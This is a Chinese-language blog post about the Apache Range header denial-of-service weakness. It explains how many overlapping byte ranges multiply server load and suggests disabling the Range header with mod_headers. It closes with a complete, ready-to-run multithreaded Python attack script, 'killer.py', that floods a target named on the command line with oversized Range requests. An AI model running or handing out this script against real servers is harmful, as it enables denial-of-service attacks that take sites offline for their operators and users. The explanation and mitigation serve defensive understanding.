Apache Range Header DOS攻击
背景
http://lwn.net/Articles/456268/
Http协议之Byte Range
http://www.ietf.org/rfc/rfc2616.txt (14.35章节)
14.35 Range ....................................................138 14.35.1 Byte Ranges ...........................................138 14.35.2 Range Retrieval Requests ..............................139 Apache演示 1. 新建内容为abcdefghijk的txt页面 2. 不带Byte Range Header的请求,请看: 3.带Byte Range Header的请求,请看: 理论上,一旦带上N个Range分片,Apache单次请求压力就是之前的N倍(实际少于N),需要做大量的运算和字符串处理。故构建无穷的分片,单机DOS攻击,就能搞垮Apache Server。解决方案 1. 等待Apache修复,不过Byte Range是规范要求的,不能算是真正意义上的BUG,不知道会如何修复这个问题 2. 对于不是下载站点来说,建议禁用Byte Range,具体做法: 2.1 安装mod_headers模块 2.2 配置文件加上: RequestHeader unset Range最后附上一个攻击脚本,做演示1 # encoding:utf8 2 # !/usr/bin/env python 3 import socket 4 import threading 5 import sys 6 7 headers = ''' 8 HEAD / HTTP/1.1 9 Host: %s 10 Range: bytes=%s 11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 12 13 ''' 14 15 # fragment count and loop count 16 COUNT = 1500 17 # concurrent count 18 PARALLEL = 50 19 PORT = 80 20 21 def req(server): 22 try : 23 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 24 s.connect((server, PORT)) 25 s.send(headers % (server, fragment(COUNT))) 26 s.close() 27 except : 28 print ' Server Seems Weak. Please Stop. ' 29 30 def fragment(n): 31 ret = '' 32 for i in xrange(n): 33 if i == 0: 34 ret = ret + ' 0- ' + str(i + 1 ) 35 else : 36 ret = ret + ' ,0- ' + str(i + 1 ) 37 return ret 38 39 def run(server): 40 for _ in xrange(COUNT): 41 req(server) 42 43 if len(sys.argv) != 2 : 44 print ' killer.py $server ' 45 sys.exit(0) 46 47 # run 48 srv = sys.argv[ 1 ] 49 for _ in xrange(PARALLEL): 50 threading.Thread(target = run, args = (srv,)).start() 51